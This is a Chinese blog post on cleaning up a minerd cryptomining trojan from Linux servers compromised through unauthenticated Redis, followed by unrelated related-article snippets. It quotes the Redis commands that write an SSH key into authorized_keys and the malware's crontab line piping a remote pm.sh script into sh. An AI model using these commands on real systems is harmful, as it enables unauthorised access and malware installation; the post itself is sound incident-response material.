前几天,公司两台linux服务器,一台访问速度很慢,cpu跑满,一台免密码登录失效,公钥文件被改写成redis的key。用htop命令查询发现了minerd木马进程,初步猜测是redis没有配访问权限造成的。网上查询minerd木马,发现这是一个很常见的挖矿程序,相关猜测也得到了验证。

下文是网上搜索到的清除minerd木马方法。

现状描述

1、top可以看到,这个minerd 程序把cpu跑满了


2、ps aux | grep minerd
可知是这个程序: /opt/minerd

这个不是我们自己启动的,可以断定服务器被黑了
这个进程是root用户启动的,代码有漏洞可能性不大(web服务是www用户启动的),多半黑客已经登录服务器了


3、有可能是免密登录了,去/root/.ssh 目录下,并没有发现authorized_keys,但发现了KHK75NEOiq这个文件

查看 vim KHK75NEOiq
可以看到内容就是免密码登录的公钥


4、在ssh的配置文件/etc/ssh/sshd_config中也可以看到把AuthorizedKeysFile指向了这个文件了(.ssh/KHK75NEOiq)

猜想是这样的:通过authorized_keys免密码登录后,在这个目录下创建了KHK75NEOiq这个文件,修改了AuthorizedKeysFile的指向,就把authorized_keys这个文件删除了。


5、那么是写进来authorized_keys的那?

之前我处理过类似的问题,是redis未授权导致的,也就是说外网可以直接不用密码登录我的redis, 连上redis后,通过以下命令即可创建文件:

config set dir /root/.ssh
config set dbfilename authorized_keys
set key value,其中value为生成公钥,即可将公钥保存在服务器,使得登录时不需要输入账号与密码。


先堵住免登录漏洞

1、修改ssh端口
编辑/etc/ssh/sshd_config文件中的Port 22将22修改为其他端口

2、禁止root用户登陆
编辑/etc/ssh/sshd_config文件中的PermitRootLogin 修改为no

3、修改无密码登陆的文件路径
编辑/etc/ssh/sshd_config文件中的AuthorizedKeysFile 修改为其他文件路径

4、删除 .ssh下的 KHK75NEOiq

5、不让外网直接连接
在 redis.conf 文件中找到#bind 127.0.0.1,把前面的#号去掉,重启


找到木马守护进程

1、通常直接kill掉进程,是不好使的,肯定有守护进程,还有系统自启动,所以清理步骤是这样的:
1)干掉守护进程
2)干掉系统自启动
3)干掉木马进程

找到木马守护进程并干掉

守护进程有大概有两种存在形式,crontab 和常驻进程,常驻进程得慢慢分析,我们先看crontab,有一条不是我创建的任务。任务是:直接从远程下载一个脚本pm.sh 并执行。

2、我们来看看这个脚本

3、大致逻辑是这样的:
1)把 /10 * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh 写入crontab
2)把authorized_keys删掉,并创建免登录文件/root/.ssh/KHK75NEOiq,修改ssh配置重启
3)curl下载/opt/KHK75NEOiq33 这个文件,并执行安装(/opt/KHK75NEOiq33 --Install),然后启动ntp

4、基本可以断定这个ntp就是守护进程,但看到ntp真的有些怕怕,ntp不是搞时间同步的吗,其实 Linux正常的ntp服务叫ntpd,并非ntp,很有迷惑性啊

5、但为了让自己放心,还是校验了一番
我们先从时间上校验,ntp是不是木马任务后创建的

查看这个木马任务第一次执行的时间
去/var/log下看cron的日志

6、Jul 24 09:23:01 第一次执行: curl -L http://r.chanstring.com/pm.sh?0703
Jul 24 09:30:01 第一次我们目前crontab里的任务:curl -fsSL http://r.chanstring.com/pm.sh?0706
Jul 24 09:49 脚本/etc/init.d/ntp的创建时间

从pm.sh这个脚本可知 curl下来/opt/KHK75NEOiq33这个文件,并执行安装 /opt/KHK75NEOiq33 --Install 比较耗时间,我执行了一下,在我的机器上是10多分钟。

所以创建时间上基本吻合

7、我们看一下ntp的随系统启动
runlevel 2 3 4 5都启动了,够狠的呀

8、看一下常用的3吧
可以看到 有个S50ntp 软链了脚本/etc/init.d/ntp

9、我们查看系统启动日志
vim /var/log/boot.log
有一条是Staring S50ntp,这个基本对应脚本/etc/init.d/ntp 中的 echo "Starting $name"

10、我们来看一下 /etc/init.d/ntp 这个脚本
$name应该就对应的值是 S50ntp,通过stdout_log,stderr_log,pid_file也得到了验证。

11、通过搜索安装文件(/opt/KHK75NEOiq33),可知看到 /opt/KHK75NEOiq33 --Install的过程中写入了ntp脚本 自启动 /opt/minerd等一系列的操作。

12、打开 /usr/local/etc/minerd.conf,内容就是/opt/minerd这个进程后的一些参数

13、好了 验证完毕,可以干掉这个ntp了


清理木马

1、去掉crontab文件中的有关木马内容:
/var/spool/cron/crontabs/root
/var/spool/cron/root

2、干掉守护进程ntp,并删除相关文件


3、干掉木马进程及其文件

4、干掉安装文件及免密登录的文件

5、干掉随系统启动的文件

6、top一下 一切都正常了!

7、重启一下,也没问题了

彻底清除Linux centos minerd木马的更多相关文章

  1. 彻底清除Linux centos minerd木马 实战  跟redis的设置有关

    top -c把cpu占用最多的进程找出来: Tasks: total, running, sleeping, stopped, zombie Cpu(s): 72.2%us, 5.9%sy, 0.0% ...

  2. redhat linux/CentOS 6/7 如何关闭防火墙?

    redhat linux/CentOS 6/7 如何关闭防火墙?关闭防火墙iptables的具体命令如下: 临时性的完全关闭防火墙,可以不重启机器(但是重启服务器后iptables防火墙服务会自动随系 ...

  3. 记录Linux CentOS 7系统完整部署Docker容器环境教程

    笔者之前有在"详细介绍Ubuntu 16.04系统环境安装Docker CE容器的过程"文章中有介绍到利用Ubuntu系统安装Docker容器环境的过程.如果我们有使用CentOS ...

  4. NO.4day LINUX centos 文件基本操作

    LINUX centos 文件基本操作 1 LINUX简介 Linux的定义:Linux是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和UNIX的多用户.多任务.支持多线程和多CP ...

  5. Linux(Centos )的网络内核参数优化来提高服务器并发处理能力【转】

    简介 提高服务器性能有很多方法,比如划分图片服务器,主从数据库服务器,和网站服务器在服务器.但是硬件资源额定有限的情况下,最大的压榨服务器的性能,提高服务器的并发处理能力,是很多运维技术人员思考的问题 ...

  6. .Net Core 项目发布到Linux - CentOS 7(二)用Supervisor守护netcore进程

    简介 supervisor可以保证程序崩溃后,可以重新把程序启动起来等相关功能. 安装 yum install -y supervisor 安装好后在/etc/会生成一个supervisord.con ...

  7. .NET Core部署到linux(CentOS)最全解决方案,入魔篇(使用Docker+Jenkins实现持续集成、自动化部署)

    通过前面三篇: .NET Core部署到linux(CentOS)最全解决方案,常规篇 .NET Core部署到linux(CentOS)最全解决方案,进阶篇(Supervisor+Nginx) .N ...

  8. Linux CentOS 配置Tomcat环境

    一.下载Tomcat 下载Tomcat方式也有两种,可以参考我的前一篇博文Linux CentOS配置JDK环境,这边就不再赘述. 二.在Linux处理Tomcat包 1.创建tomcat文件夹 mk ...

  9. NoSql1 在Linux(CentOS)上安装memcached及使用

    前言:       今天是初五,生活基本要从过年的节奏中回归到正常的生活了,所以想想也该想想与工作有关的事情了.我之前在工作中会经常使用memcached和redis,但是自己一直没有时间系统的好好看 ...

随机推荐

  1. preg_*匹配的字符串长度限制问题以及nginx,php上传文件过大问题

    问题背景 使用插件上传高清图片,用的插件base64转码的,上传失败,接口提示:413 (Request Entity Too Large) 问题分析与解决  首先想到的是nginx和php的服务器配 ...

  2. MySQL两个最简单的delimiter的使用demo

    今天复习MySQL,使用的工具是Navicat for MySQL,写了两个简单的delimiter的demo. 第一个,获取当前时间的年月日时分秒格式的时间: delimiter $$ drop f ...

  3. 自动生成数学题型三 (框架Struts2)题型如 a+b=c(a、b、c都为分数)

    1. 约分分数 1.1 保留质数 /** * 将数值放入到fraction数组中 * @param fen 简要放的 int类型数值 */ public void fenshu(int fen) { ...

  4. Why we don’t recommend using List<T> in public APIs

    不推荐List<T>做API原因有如下两点:1.首先List<T> 设计之初就没有设计成可扩展的,我们不能重新其任何方法.这就意味着,我们操作List<T>的时候却 ...

  5. Java Comparator的范型类型推导问题

    问题 在项目中,有一处地方需要对日期区间进行排序 我需要以日期区间的开始日为第一优先级,结束日为第二优先级进行排序 代码 我当时写的代码如下: List<Pair<LocalDate, L ...

  6. fuse on TDH4.8

    一.安装依赖包 yum install autoconf.noarch yum install automake yum install libtool* yum install m4 yum ins ...

  7. 闭包(匿名函数) php

    php中的闭包,之前不理解.以前项目中虽然有用到,也是别人怎么用,自己也跟着怎么用,也没具体去看一下,时间长了就忘了,也不知道闭包是怎么回事.今天网上搜集了关于php闭包相关的文章,看了7,8篇,干货 ...

  8. JS模式--装饰者模式(用AOP动态改变函数的参数)

    Function.prototype.before = function (beforefn) { var _self = this; return function () { beforefn.ap ...

  9. MD5加密。

    MD5 是把文件用open打开,然后对内容hash后的值,所以和文件名无关,和位置无关,和修改时间无关,只与文件内容有关.

  10. 关于div+css布局值得注意的地方

    注意项 我们知道,如果想要两个 div(即块级元素)挨着一起排列,可以将其设置为inline-block(行内-块元素). 不过要注意两个div内的内容的对齐方式将是垂直中间对齐,所以这时候就需要使用 ...